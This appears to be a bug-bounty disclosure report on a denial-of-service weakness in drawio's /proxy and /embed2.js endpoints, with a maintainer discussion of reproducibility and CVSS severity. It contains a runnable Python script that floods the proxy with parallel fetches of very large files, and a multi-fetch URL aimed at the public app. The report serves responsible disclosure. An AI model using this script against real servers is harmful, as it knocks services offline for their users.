proxying Big files leads to potential DOS in jgraph/drawio
Reported on
May 24th 2022
Description
consider following script
exploit.py
put drawio_docker_instace your address and also big_file_address should be serve a big image file ( > 250 MB)
from multiprocessing import Process
import requests
def fun():
try:
requests.get("http://drawio_docker_instace/embed2.js?fetch=http://big_file_address/1.jpg")
#requests.get("http://drawio_docker_instace/proxy?url=http://big_file_address/1.jpg")
print("OK")
except:
print("error from server")
def main():
for i in range(1,40):
p = Process(target=fun, args=())
p.start()
if __name__ == '__main__':
main()
I upload forty 250MB photos at the same time, and the server hangs up ( I test it on upcloud basic server plan)
both /proxy and /embed2.js was vulnerable to DOS and /embed2.js was more vulnerable as I saw in docker status you can check it yourself with my POC.py file
Proof of Concept
The POC is for the /embed2.js endpoint and for the /proxy endpoint we should increase the number of simultaneously Processes
https://drive.google.com/file/d/1p52S-Rcp0p_5od8NUtz4DHpte4EZj6Ks/view?usp=sharing
Impact
High damage on Availability of server, In my tests the docker instance was stopped working.
because the drawio ran on the same docker of the mentioned methods, then the whole application can be damaged by this attack. So I prefer set the availability of CVSS to high
I think the best solution is that check Content-Length first and restrict files according to their size.
because after decreasing the file sizes if we put drawio instance behind a cloud WAF for rate limit issues, no one can send thousands of small files to DOS the app. But in the current situation that anyone can even send some 10GB files to the server without any rate-limiting issues.
Update:
with the following URL, we can also make a higher impact as we can send multiple fetch parameter at the same time.
https://app.diagrams.net/embed2.js?fetch=http://google.com&fetch=http://google.co&fetch=http://google.org
Thanks for the report. What resources (CPU and RAM) were available to the docker image that went down? I'm not able to repeat this.
Hey David, I test it on upcloud basic server plan contains 1GB RAM, 1 Core CPU, 25GB space, and high upcloud IO pins! my test was just a simple test, for more servers should work with a higher number of simultaneous connections.
Thanks. There is certainly the ability to DoS a system, but how effective that is does depend on the system setup, as well as the code.
We attempted a large scale DoS against a copy of our production system and were unable to affect its ability to respond or serve data. My suggestion is that the availability level should therefore be low to reflect that some systems will be more affected and some not, otherwise all users will think an update is critical, whereas it might not be.
OK, David, I change the availability, Again 5.3 :)
Can I ask you to let me send a separate report for the /proxy endpoint?